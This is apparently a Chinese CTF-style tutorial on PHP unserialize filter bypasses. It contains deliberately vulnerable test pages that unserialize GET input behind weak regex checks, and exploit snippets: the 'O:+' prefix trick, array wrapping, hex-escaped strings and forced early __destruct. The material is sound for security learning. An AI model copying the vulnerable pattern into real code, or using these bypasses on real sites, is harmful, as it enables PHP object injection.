<?php class magic_hello{ public $var1 = "string1"; public $var2 = "string2"; public function PrintVar(){ echo $this->var2."\n"; } public function __construct(){ echo "__construct\n"; } public function __destruct(){ echo "__destruct\n"; } public function __wakeup(){ echo "__wakeup\n"; } public function __sleep(){ echo "__sleep\n"; return array("var1", "var2"); } public function __toString(){ // TODO: Implement __toString() method. return "__toString\n"; }} $object1 = new magic_hello(); $serialized = serialize($object1);print "Serialize: " . $serialized . "\n";$object2 = unserialize($serialized);$object2->PrintVar();echo $object2;
<?phpclass test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a.PHP_EOL; }} function match($data){// if (preg_match('/[oc]:\d+/i',$data)){// die('nonono!');// }else{// return $data;// } if (preg_match('/^O:\d+/',$data)){ die('nonono!'); }else{ return $data; }} if (isset($_GET["arg"])) { $obj = $_GET["arg"]; // echo $obj.PHP_EOL."</br>"; echo match($obj).PHP_EOL."</br>"; unserialize(match($obj)); // echo unserialize(match($obj)).PHP_EOL."</br>"; var_dump(unserialize(match($obj))); // echo unserialize(match($obj));} else { highlight_file(__FILE__);}
1、加号"+"绕过,利用代码如下:
<?php class test{ public $a; public function __construct(){ $this->a = 'abc'; }} $obj = new test();$obj_serialize = serialize($obj);// echo $obj_serialize.PHP_EOL;$obj_serialize_filter = str_replace("O:", "O:+", $obj_serialize);echo $obj_serialize_filter;
<?php class test{ public $a; public function __construct(){ $this->a = 'abc'; }} $obj = new test();echo serialize(array($obj));
payload
a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}
十六进制绕过 原理:序列化字符出啊中表示字符类型的s大写时会被当成十六进制处理。测试代码
<?php class hello{ public $username; public function __construct(){ $this->username = 'admin'; } public function __destruct(){ echo 'success'; }} function check($data){ if (preg_match('/username/', $data)) { echo("nonono!!!</br>"); } else { return $data; }} if (isset($_GET["arg"])){ unserialize(check($_GET["arg"]));} else { highlight_file(__FILE__);}
<?php class hello{ function __construct($arg){ $this->arg = $arg; } function __destruct(){ echo $this->arg . " __destruct".PHP_EOL; }} new hello('1');$a = new hello('2');$a = new hello('3');echo "----------".PHP_EOL;
在$a = new hello('3');之前,$a都未被使用,被当作"垃圾"处理。当程序自动结束之后hello('3')被销毁并执行__destruct函数。测试代码
<?php class hello{ function __destruct(){ echo 'success!!'; }} if (isset($_GET['arg'])) { $a = unserialize($_GET['arg']); throw new Exception('lose');}
throw new Exception('lose');会抛出异常,程序非正常结束,导致不能主动调用__destruct函数,从上面介绍的调用__destruct的四种方法中只剩下$object=NULL;的情况。利用数组反序列化手动销毁对象。利用代码如下:
<?php class hello{ public $a; public $b; public function __construct(){ $this->a = 'admin'; } public function __destruct(){ if ($this->a === $this->b) { echo 'flag{Y0u_are_s0_clever}'; } }} if (isset($_GET['arg'])) { $arg = $_GET['arg']; if (preg_match('/admin/', $arg)) { die('nonono'); } unserialize($arg);} else { highlight_file(__FILE__);}
<?php class hello1{ protected $a; public function __construct(){ $this->a = "abc"; } public function __destruct(){ echo $this->a; }} if (isset($_GET["arg"])) { $obj = $_GET["arg"]; var_dump(unserialize($obj));} else { highlight_file(__FILE__);}